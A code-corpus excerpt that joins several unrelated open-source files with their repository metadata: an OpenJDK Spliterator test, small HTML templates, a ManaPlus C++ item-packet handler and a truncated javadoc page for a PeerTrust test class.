Arrays.fill(ai, 1); db.add(String.format("Collections.nCopies(%d, 1)", exp.size()), Arrays.asList(ai), () -> Collections.nCopies(exp.size(), 1).spliterator()); } // Collections.synchronized/unmodifiable/checked wrappers db.addCollection(Collections::unmodifiableCollection); db.addCollection(c -> Collections.unmodifiableSet(new HashSet<>(c))); db.addCollection(c -> Collections.unmodifiableSortedSet(new TreeSet<>(c))); db.addList(c -> Collections.unmodifiableList(new ArrayList<>(c))); db.addMap(Collections::unmodifiableMap); db.addMap(m -> Collections.unmodifiableSortedMap(new TreeMap<>(m))); db.addCollection(Collections::synchronizedCollection); db.addCollection(c -> Collections.synchronizedSet(new HashSet<>(c))); db.addCollection(c -> Collections.synchronizedSortedSet(new TreeSet<>(c))); db.addList(c -> Collections.synchronizedList(new ArrayList<>(c))); db.addMap(Collections::synchronizedMap); db.addMap(m -> Collections.synchronizedSortedMap(new TreeMap<>(m))); db.addCollection(c -> Collections.checkedCollection(c, Integer.class)); db.addCollection(c -> Collections.checkedQueue(new ArrayDeque<>(c), Integer.class)); db.addCollection(c -> Collections.checkedSet(new HashSet<>(c), Integer.class)); db.addCollection(c -> Collections.checkedSortedSet(new TreeSet<>(c), Integer.class)); db.addList(c -> Collections.checkedList(new ArrayList<>(c), Integer.class)); db.addMap(c -> Collections.checkedMap(c, Integer.class, Integer.class)); db.addMap(m -> Collections.checkedSortedMap(new TreeMap<>(m), Integer.class, Integer.class)); // Maps db.addMap(HashMap::new); db.addMap(m -> { // Create a Map ensuring that for large sizes // buckets will contain 2 or more entries HashMap<Integer, Integer> cm = new HashMap<>(1, m.size() + 1); // Don't use putAll which inflates the table by // m.size() * loadFactor, thus creating a very sparse // map for 1000 entries defeating the purpose of this test, // in addition it will cause the split until null test to fail // because the number of valid splits is larger than the // threshold for (Map.Entry<Integer, Integer> e : m.entrySet()) cm.put(e.getKey(), e.getValue()); return cm; }, "new java.util.HashMap(1, size + 1)"); db.addMap(LinkedHashMap::new); db.addMap(IdentityHashMap::new); db.addMap(WeakHashMap::new); db.addMap(m -> { // Create a Map ensuring that for large sizes // buckets will be consist of 2 or more entries WeakHashMap<Integer, Integer> cm = new WeakHashMap<>(1, m.size() + 1); for (Map.Entry<Integer, Integer> e : m.entrySet()) cm.put(e.getKey(), e.getValue()); return cm; }, "new java.util.WeakHashMap(1, size + 1)"); // @@@ Descending maps etc db.addMap(TreeMap::new); db.addMap(ConcurrentHashMap::new); db.addMap(ConcurrentSkipListMap::new); if (size == 0) { db.addMap(m -> Collections.<Integer, Integer>emptyMap()); } else if (size == 1) { db.addMap(m -> Collections.singletonMap(exp.get(0), exp.get(0))); } } return spliteratorDataProvider = data.toArray(new Object[0][]); } private static List<Integer> listIntRange(int upTo) { List<Integer> exp = new ArrayList<>(); for (int i = 0; i < upTo; i++) exp.add(i); return Collections.unmodifiableList(exp); } @Test(dataProvider = "Spliterator<Integer>") public void testNullPointerException(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { executeAndCatch(NullPointerException.class, () -> s.get().forEachRemaining(null)); executeAndCatch(NullPointerException.class, () -> s.get().tryAdvance(null)); } @Test(dataProvider = "Spliterator<Integer>") public void testForEach(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testForEach(exp, s, UnaryOperator.identity()); } @Test(dataProvider = "Spliterator<Integer>") public void testTryAdvance(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testTryAdvance(exp, s, UnaryOperator.identity()); } @Test(dataProvider = "Spliterator<Integer>") public void testMixedTryAdvanceForEach(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testMixedTryAdvanceForEach(exp, s, UnaryOperator.identity()); } @Test(dataProvider = "Spliterator<Integer>") public void testMixedTraverseAndSplit(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testMixedTraverseAndSplit(exp, s, UnaryOperator.identity()); } @Test(dataProvider = "Spliterator<Integer>") public void testSplitAfterFullTraversal(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testSplitAfterFullTraversal(s, UnaryOperator.identity()); } @Test(dataProvider = "Spliterator<Integer>") public void testSplitOnce(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testSplitOnce(exp, s, UnaryOperator.identity()); } @Test(dataProvider = "Spliterator<Integer>") public void testSplitSixDeep(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testSplitSixDeep(exp, s, UnaryOperator.identity()); } @Test(dataProvider = "Spliterator<Integer>") public void testSplitUntilNull(String description, Collection<Integer> exp, Supplier<Spliterator<Integer>> s) { testSplitUntilNull(exp, s, UnaryOperator.identity()); } // private static class SpliteratorOfIntCharDataBuilder { List<Object[]> data; String s; List<Integer> expChars; List<Integer> expCodePoints; SpliteratorOfIntCharDataBuilder(List<Object[]> data, String s) { this.data = data; this.s = s; this.expChars = transform(s, false); this.expCodePoints = transform(s, true); } static List<Integer> transform(String s, boolean toCodePoints) { List<Integer> l = new ArrayList<>(); if (!toCodePoints) { for (int i = 0; i < s.length(); i++) { l.add((int) s.charAt(i)); } } else { for (int i = 0; i < s.length();) { char c1 = s.charAt(i++); int cp = c1; if (Character.isHighSurrogate(c1) && i < s.length()) { char c2 = s.charAt(i); if (Character.isLowSurrogate(c2)) { i++; cp = Character.toCodePoint(c1, c2); } } l.add(cp); } } return l; } void add(String description, Function<String, CharSequence> f) { description = description.replace("%s", s); { Supplier<Spliterator.OfInt> supplier = () -> f.apply(s).chars().spliterator(); data.add(new Object[]{description + ".chars().spliterator()", expChars, supplier}); } { Supplier<Spliterator.OfInt> supplier = () -> f.apply(s).codePoints().spliterator(); data.add(new Object[]{description + ".codePoints().spliterator()", expCodePoints, supplier}); } } } static Object[][] spliteratorOfIntDataProvider; @DataProvider(name = "Spliterator.OfInt") public static Object[][] spliteratorOfIntDataProvider() { if (spliteratorOfIntDataProvider != null) { return spliteratorOfIntDataProvider; } List<Object[]> data = new ArrayList<>(); for (int size : SIZES) { int exp[] = arrayIntRange(size); SpliteratorOfIntDataBuilder db = new SpliteratorOfIntDataBuilder(data, listIntRange(size)); db.add("Spliterators.spliterator(int[], ...)", () -> Spliterators.spliterator(exp, 0)); db.add("Arrays.spliterator(int[], ...)", () -> Arrays.spliterator(exp)); db.add("Spliterators.spliterator(PrimitiveIterator.OfInt, ...)", () -> Spliterators.spliterator(Spliterators.iterator(Arrays.spliterator(exp)), exp.length, 0)); db.add("Spliterators.spliteratorUnknownSize(PrimitiveIterator.OfInt, ...)", () -> Spliterators.spliteratorUnknownSize(Spliterators.iterator(Arrays.spliterator(exp)), 0)); class IntSpliteratorFromArray extends Spliterators.AbstractIntSpliterator { int[] a; int index = 0; IntSpliteratorFromArray(int[] a) { super(a.length, Spliterator.SIZED); this.a = a; } @Override public boolean tryAdvance(IntConsumer action) { if (action == null) throw new NullPointerException(); if (index < a.length) { action.accept(a[index++]); return true; } else { return false; } } } db.add("new Spliterators.AbstractIntAdvancingSpliterator()", () -> new IntSpliteratorFromArray(exp)); } // Class for testing default methods class CharSequenceImpl implements CharSequence { final String s; public CharSequenceImpl(String s) { this.s = s; } @Override public int length() { return s.length(); } @Override public char charAt(int index) { return s.charAt(index); } @Override public CharSequence subSequence(int start, int end) { return s.subSequence(start, end); } @Override public String toString() { return s; } } for (String string : STRINGS) { SpliteratorOfIntCharDataBuilder cdb = new SpliteratorOfIntCharDataBuilder(data, string); cdb.add("\"%s\"", s -> s); cdb.add("new CharSequenceImpl(\"%s\")", CharSequenceImpl::new); cdb.add("new StringBuilder(\"%s\")", StringBuilder::new); cdb.add("new StringBuffer(\"%s\")", StringBuffer::new); cdb.add("CharBuffer.wrap(\"%s\".toCharArray())", s -> CharBuffer.wrap(s.toCharArray())); } return spliteratorOfIntDataProvider = data.toArray(new Object[0][]); } private static int[] arrayIntRange(int upTo) { int[] exp = new int[upTo]; for (int i = 0; i < upTo; i++) exp[i] = i; return exp; } @Test(dataProvider = "Spliterator.OfInt") public void testIntNullPointerException(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { executeAndCatch(NullPointerException.class, () -> s.get().forEachRemaining((IntConsumer) null)); executeAndCatch(NullPointerException.class, () -> s.get().tryAdvance((IntConsumer) null)); } @Test(dataProvider = "Spliterator.OfInt") public void testIntForEach(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testForEach(exp, s, intBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfInt") public void testIntTryAdvance(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testTryAdvance(exp, s, intBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfInt") public void testIntMixedTryAdvanceForEach(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testMixedTryAdvanceForEach(exp, s, intBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfInt") public void testIntMixedTraverseAndSplit(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testMixedTraverseAndSplit(exp, s, intBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfInt") public void testIntSplitAfterFullTraversal(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testSplitAfterFullTraversal(s, intBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfInt") public void testIntSplitOnce(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testSplitOnce(exp, s, intBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfInt") public void testIntSplitSixDeep(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testSplitSixDeep(exp, s, intBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfInt") public void testIntSplitUntilNull(String description, Collection<Integer> exp, Supplier<Spliterator.OfInt> s) { testSplitUntilNull(exp, s, intBoxingConsumer()); } // private static class SpliteratorOfLongDataBuilder { List<Object[]> data; List<Long> exp; SpliteratorOfLongDataBuilder(List<Object[]> data, List<Long> exp) { this.data = data; this.exp = exp; } void add(String description, List<Long> expected, Supplier<Spliterator.OfLong> s) { description = joiner(description).toString(); data.add(new Object[]{description, expected, s}); } void add(String description, Supplier<Spliterator.OfLong> s) { add(description, exp, s); } StringBuilder joiner(String description) { return new StringBuilder(description). append(" {"). append("size=").append(exp.size()). append("}"); } } static Object[][] spliteratorOfLongDataProvider; @DataProvider(name = "Spliterator.OfLong") public static Object[][] spliteratorOfLongDataProvider() { if (spliteratorOfLongDataProvider != null) { return spliteratorOfLongDataProvider; } List<Object[]> data = new ArrayList<>(); for (int size : SIZES) { long exp[] = arrayLongRange(size); SpliteratorOfLongDataBuilder db = new SpliteratorOfLongDataBuilder(data, listLongRange(size)); db.add("Spliterators.spliterator(long[], ...)", () -> Spliterators.spliterator(exp, 0)); db.add("Arrays.spliterator(long[], ...)", () -> Arrays.spliterator(exp)); db.add("Spliterators.spliterator(PrimitiveIterator.OfLong, ...)", () -> Spliterators.spliterator(Spliterators.iterator(Arrays.spliterator(exp)), exp.length, 0)); db.add("Spliterators.spliteratorUnknownSize(PrimitiveIterator.OfLong, ...)", () -> Spliterators.spliteratorUnknownSize(Spliterators.iterator(Arrays.spliterator(exp)), 0)); class LongSpliteratorFromArray extends Spliterators.AbstractLongSpliterator { long[] a; int index = 0; LongSpliteratorFromArray(long[] a) { super(a.length, Spliterator.SIZED); this.a = a; } @Override public boolean tryAdvance(LongConsumer action) { if (action == null) throw new NullPointerException(); if (index < a.length) { action.accept(a[index++]); return true; } else { return false; } } } db.add("new Spliterators.AbstractLongAdvancingSpliterator()", () -> new LongSpliteratorFromArray(exp)); } return spliteratorOfLongDataProvider = data.toArray(new Object[0][]); } private static List<Long> listLongRange(int upTo) { List<Long> exp = new ArrayList<>(); for (long i = 0; i < upTo; i++) exp.add(i); return Collections.unmodifiableList(exp); } private static long[] arrayLongRange(int upTo) { long[] exp = new long[upTo]; for (int i = 0; i < upTo; i++) exp[i] = i; return exp; } @Test(dataProvider = "Spliterator.OfLong") public void testLongNullPointerException(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { executeAndCatch(NullPointerException.class, () -> s.get().forEachRemaining((LongConsumer) null)); executeAndCatch(NullPointerException.class, () -> s.get().tryAdvance((LongConsumer) null)); } @Test(dataProvider = "Spliterator.OfLong") public void testLongForEach(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testForEach(exp, s, longBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfLong") public void testLongTryAdvance(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testTryAdvance(exp, s, longBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfLong") public void testLongMixedTryAdvanceForEach(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testMixedTryAdvanceForEach(exp, s, longBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfLong") public void testLongMixedTraverseAndSplit(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testMixedTraverseAndSplit(exp, s, longBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfLong") public void testLongSplitAfterFullTraversal(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testSplitAfterFullTraversal(s, longBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfLong") public void testLongSplitOnce(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testSplitOnce(exp, s, longBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfLong") public void testLongSplitSixDeep(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testSplitSixDeep(exp, s, longBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfLong") public void testLongSplitUntilNull(String description, Collection<Long> exp, Supplier<Spliterator.OfLong> s) { testSplitUntilNull(exp, s, longBoxingConsumer()); } // private static class SpliteratorOfDoubleDataBuilder { List<Object[]> data; List<Double> exp; SpliteratorOfDoubleDataBuilder(List<Object[]> data, List<Double> exp) { this.data = data; this.exp = exp; } void add(String description, List<Double> expected, Supplier<Spliterator.OfDouble> s) { description = joiner(description).toString(); data.add(new Object[]{description, expected, s}); } void add(String description, Supplier<Spliterator.OfDouble> s) { add(description, exp, s); } StringBuilder joiner(String description) { return new StringBuilder(description). append(" {"). append("size=").append(exp.size()). append("}"); } } static Object[][] spliteratorOfDoubleDataProvider; @DataProvider(name = "Spliterator.OfDouble") public static Object[][] spliteratorOfDoubleDataProvider() { if (spliteratorOfDoubleDataProvider != null) { return spliteratorOfDoubleDataProvider; } List<Object[]> data = new ArrayList<>(); for (int size : SIZES) { double exp[] = arrayDoubleRange(size); SpliteratorOfDoubleDataBuilder db = new SpliteratorOfDoubleDataBuilder(data, listDoubleRange(size)); db.add("Spliterators.spliterator(double[], ...)", () -> Spliterators.spliterator(exp, 0)); db.add("Arrays.spliterator(double[], ...)", () -> Arrays.spliterator(exp)); db.add("Spliterators.spliterator(PrimitiveIterator.OfDouble, ...)", () -> Spliterators.spliterator(Spliterators.iterator(Arrays.spliterator(exp)), exp.length, 0)); db.add("Spliterators.spliteratorUnknownSize(PrimitiveIterator.OfDouble, ...)", () -> Spliterators.spliteratorUnknownSize(Spliterators.iterator(Arrays.spliterator(exp)), 0)); class DoubleSpliteratorFromArray extends Spliterators.AbstractDoubleSpliterator { double[] a; int index = 0; DoubleSpliteratorFromArray(double[] a) { super(a.length, Spliterator.SIZED); this.a = a; } @Override public boolean tryAdvance(DoubleConsumer action) { if (action == null) throw new NullPointerException(); if (index < a.length) { action.accept(a[index++]); return true; } else { return false; } } } db.add("new Spliterators.AbstractDoubleAdvancingSpliterator()", () -> new DoubleSpliteratorFromArray(exp)); } return spliteratorOfDoubleDataProvider = data.toArray(new Object[0][]); } private static List<Double> listDoubleRange(int upTo) { List<Double> exp = new ArrayList<>(); for (double i = 0; i < upTo; i++) exp.add(i); return Collections.unmodifiableList(exp); } private static double[] arrayDoubleRange(int upTo) { double[] exp = new double[upTo]; for (int i = 0; i < upTo; i++) exp[i] = i; return exp; } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleNullPointerException(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { executeAndCatch(NullPointerException.class, () -> s.get().forEachRemaining((DoubleConsumer) null)); executeAndCatch(NullPointerException.class, () -> s.get().tryAdvance((DoubleConsumer) null)); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleForEach(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testForEach(exp, s, doubleBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleTryAdvance(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testTryAdvance(exp, s, doubleBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleMixedTryAdvanceForEach(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testMixedTryAdvanceForEach(exp, s, doubleBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleMixedTraverseAndSplit(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testMixedTraverseAndSplit(exp, s, doubleBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleSplitAfterFullTraversal(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testSplitAfterFullTraversal(s, doubleBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleSplitOnce(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testSplitOnce(exp, s, doubleBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleSplitSixDeep(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testSplitSixDeep(exp, s, doubleBoxingConsumer()); } @Test(dataProvider = "Spliterator.OfDouble") public void testDoubleSplitUntilNull(String description, Collection<Double> exp, Supplier<Spliterator.OfDouble> s) { testSplitUntilNull(exp, s, doubleBoxingConsumer()); } }
dmlloyd/openjdk-modules
jdk/test/java/util/Spliterator/SpliteratorTraversingAndSplittingTest.java
Java
gpl-2.0
44,814
<template name="recipeContext"> <span class="menu-header"> Options <i class="pull-right icon icon-vert-dots"></i> </span> <div class="menu"> {{#each settings}} <label class="menu-row"> <input type="checkbox" data-key={{key}} checked="{{#if value}}checked{{/if}}" class="change-setting checkbox"> {{_ label}} </label> {{/each}} </div> </template>
recipr/recipr
client/templates/recipe/context/context.html
HTML
gpl-2.0
443
<!-- BEGINS HERO IMAGE --> <!-- build:remove --> <div class="hero"> <img class="img-responsive" src='images/two_col_sample_content/1.png' alt='This is a typical header image' /> </div> <!-- /build --> <t4 type="navigation" id="106" /> <!-- ENDS HERO IMAGE -->
msudenver/generator-msu-denver
app/views/hero.html
HTML
gpl-2.0
264
/* * The ManaPlus Client * Copyright (C) 2004-2009 The Mana World Development Team * Copyright (C) 2009-2010 The Mana Developers * Copyright (C) 2011-2018 The ManaPlus Developers * * This file is part of The ManaPlus Client. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "net/eathena/itemrecv.h" #include "actormanager.h" #include "itemcolormanager.h" #include "logger.h" #include "const/resources/item/cards.h" #include "net/messagein.h" #include "debug.h" extern int packetVersion; extern bool packets_zero; namespace EAthena { void ItemRecv::processItemDropped(Net::MessageIn &msg) { const BeingId id = msg.readBeingId("id"); const int itemId = msg.readItemId("item id"); ItemTypeT itemType = ItemType::Unknown; if (msg.getVersion() >= 20130000) itemType = static_cast<ItemTypeT>(msg.readInt16("type")); const Identified identified = fromInt( msg.readUInt8("identify"), Identified); const int x = msg.readInt16("x"); const int y = msg.readInt16("y"); const int subX = CAST_S32(msg.readInt8("subx")); const int subY = CAST_S32(msg.readInt8("suby")); const int amount = msg.readInt16("count"); if (packets_zero || packetVersion >= 20180418) { msg.readUInt8("show drop effect"); msg.readInt16("show effect mode"); } if (actorManager != nullptr) { actorManager->createItem(id, itemId, x, y, itemType, amount, 0, ItemColor_one, identified, Damaged_false, subX, subY, nullptr); } } void ItemRecv::processItemDropped2(Net::MessageIn &msg) { const BeingId id = msg.readBeingId("id"); const int itemId = msg.readInt16("item id"); // +++ need use int32 const ItemTypeT itemType = static_cast<ItemTypeT>(msg.readUInt8("type")); const Identified identified = fromInt( msg.readUInt8("identify"), Identified); const Damaged damaged = fromBool(msg.readUInt8("attribute"), Damaged); const uint8_t refine = msg.readUInt8("refine"); int cards[maxCards]; for (int f = 0; f < maxCards; f++) cards[f] = msg.readUInt16("card"); // ++ need use int32 const int x = msg.readInt16("x"); const int y = msg.readInt16("y"); const int amount = msg.readInt16("amount"); const int subX = CAST_S32(msg.readInt8("subx")); const int subY = CAST_S32(msg.readInt8("suby")); // +++ probably need add drop effect fields? if (actorManager != nullptr) { actorManager->createItem(id, itemId, x, y, itemType, amount, refine, ItemColorManager::getColorFromCards(&cards[0]), identified, damaged, subX, subY, &cards[0]); } } void ItemRecv::processItemMvpDropped(Net::MessageIn &msg) { UNIMPLEMENTEDPACKET; msg.readInt16("len"); msg.readUInt8("type"); msg.readItemId("item id"); msg.readUInt8("len"); msg.readString(24, "name"); msg.readUInt8("monster name len"); msg.readString(24, "monster name"); } void ItemRecv::processItemVisible(Net::MessageIn &msg) { const BeingId id = msg.readBeingId("item object id"); const int itemId = msg.readItemId("item id"); const Identified identified = fromInt( msg.readUInt8("identify"), Identified); const int x = msg.readInt16("x"); const int y = msg.readInt16("y"); const int amount = msg.readInt16("amount"); const int subX = CAST_S32(msg.readInt8("sub x")); const int subY = CAST_S32(msg.readInt8("sub y")); if (actorManager != nullptr) { actorManager->createItem(id, itemId, x, y, ItemType::Unknown, amount, 0, ItemColor_one, identified, Damaged_false, subX, subY, nullptr); } } void ItemRecv::processItemVisible2(Net::MessageIn &msg) { const BeingId id = msg.readBeingId("item object id"); const int itemId = msg.readInt16("item id"); // +++ need use int32 const ItemTypeT itemType = static_cast<ItemTypeT>( msg.readUInt8("type")); const Identified identified = fromInt( msg.readUInt8("identify"), Identified); const Damaged damaged = fromBool(msg.readUInt8("attribute"), Damaged); const uint8_t refine = msg.readUInt8("refine"); int cards[maxCards]; for (int f = 0; f < maxCards; f++) cards[f] = msg.readUInt16("card"); // +++ need use int32 const int x = msg.readInt16("x"); const int y = msg.readInt16("y"); const int amount = msg.readInt16("amount"); const int subX = CAST_S32(msg.readInt8("sub x")); const int subY = CAST_S32(msg.readInt8("sub y")); if (actorManager != nullptr) { actorManager->createItem(id, itemId, x, y, itemType, amount, refine, ItemColorManager::getColorFromCards(&cards[0]), identified, damaged, subX, subY, &cards[0]); } } } // namespace EAthena
mekolat/ManaPlus
src/net/eathena/itemrecv.cpp
C++
gpl-2.0
5,784
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.5.0_07) on Tue Sep 12 14:14:15 CEST 2006 --> <TITLE> PTEventTestASubClass </TITLE> <META NAME="keywords" CONTENT="test.org.peertrust.event.PTEventTestASubClass class"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { parent.document.title="PTEventTestASubClass"; } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <!-- ========= START OF TOP NAVBAR ======= --> <A NAME="navbar_top"><!-- --></A> <A HREF="#skip-navbar_top" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_top_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/PTEventTestASubClass.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;<A HREF="../../../../test/org/peertrust/event/PTEventTestA.html" title="class in test.org.peertrust.event"><B>PREV CLASS</B></A>&nbsp; &nbsp;<A HREF="../../../../test/org/peertrust/event/PTEventTestB.html" title="class in test.org.peertrust.event"><B>NEXT CLASS</B></A></FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../../index.html?test/org/peertrust/event/PTEventTestASubClass.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="PTEventTestASubClass.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> <TR> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY:&nbsp;NESTED&nbsp;|&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#methods_inherited_from_class_org.peertrust.event.PTEvent">METHOD</A></FONT></TD> <TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> DETAIL:&nbsp;FIELD&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;METHOD</FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_top"></A> <!-- ========= END OF TOP NAVBAR ========= --> <HR> <!-- ======== START OF CLASS DATA ======== --> <H2> <FONT SIZE="-1"> test.org.peertrust.event</FONT> <BR> Class PTEventTestASubClass</H2> <PRE> java.lang.Object <IMG SRC="../../../../resources/inherit.gif" ALT="extended by "><A HREF="../../../../org/peertrust/event/PTEvent.html" title="class in org.peertrust.event">org.peertrust.event.PTEvent</A> <IMG SRC="../../../../resources/inherit.gif" ALT="extended by "><A HREF="../../../../test/org/peertrust/event/PTEventTestA.html" title="class in test.org.peertrust.event">test.org.peertrust.event.PTEventTestA</A> <IMG SRC="../../../../resources/inherit.gif" ALT="extended by "><B>test.org.peertrust.event.PTEventTestASubClass</B> </PRE> <DL> <DT><B>All Implemented Interfaces:</B> <DD>java.lang.Cloneable</DD> </DL> <HR> <DL> <DT><PRE>public class <B>PTEventTestASubClass</B><DT>extends <A HREF="../../../../test/org/peertrust/event/PTEventTestA.html" title="class in test.org.peertrust.event">PTEventTestA</A></DL> </PRE> <P> $Id: PTEventTestASubClass.html,v 1.1 2006/09/20 15:25:16 jldecoi Exp $ <P> <P> <DL> <DT><B>Author:</B></DT> <DD>olmedilla</DD> </DL> <HR> <P> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <A NAME="constructor_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Constructor Summary</B></FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><CODE><B><A HREF="../../../../test/org/peertrust/event/PTEventTestASubClass.html#PTEventTestASubClass(java.lang.Object)">PTEventTestASubClass</A></B>(java.lang.Object&nbsp;source)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <!-- ========== METHOD SUMMARY =========== --> <A NAME="method_summary"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <B>Method Summary</B></FONT></TH> </TR> </TABLE> &nbsp;<A NAME="methods_inherited_from_class_org.peertrust.event.PTEvent"><!-- --></A> <TABLE BORDER="1" 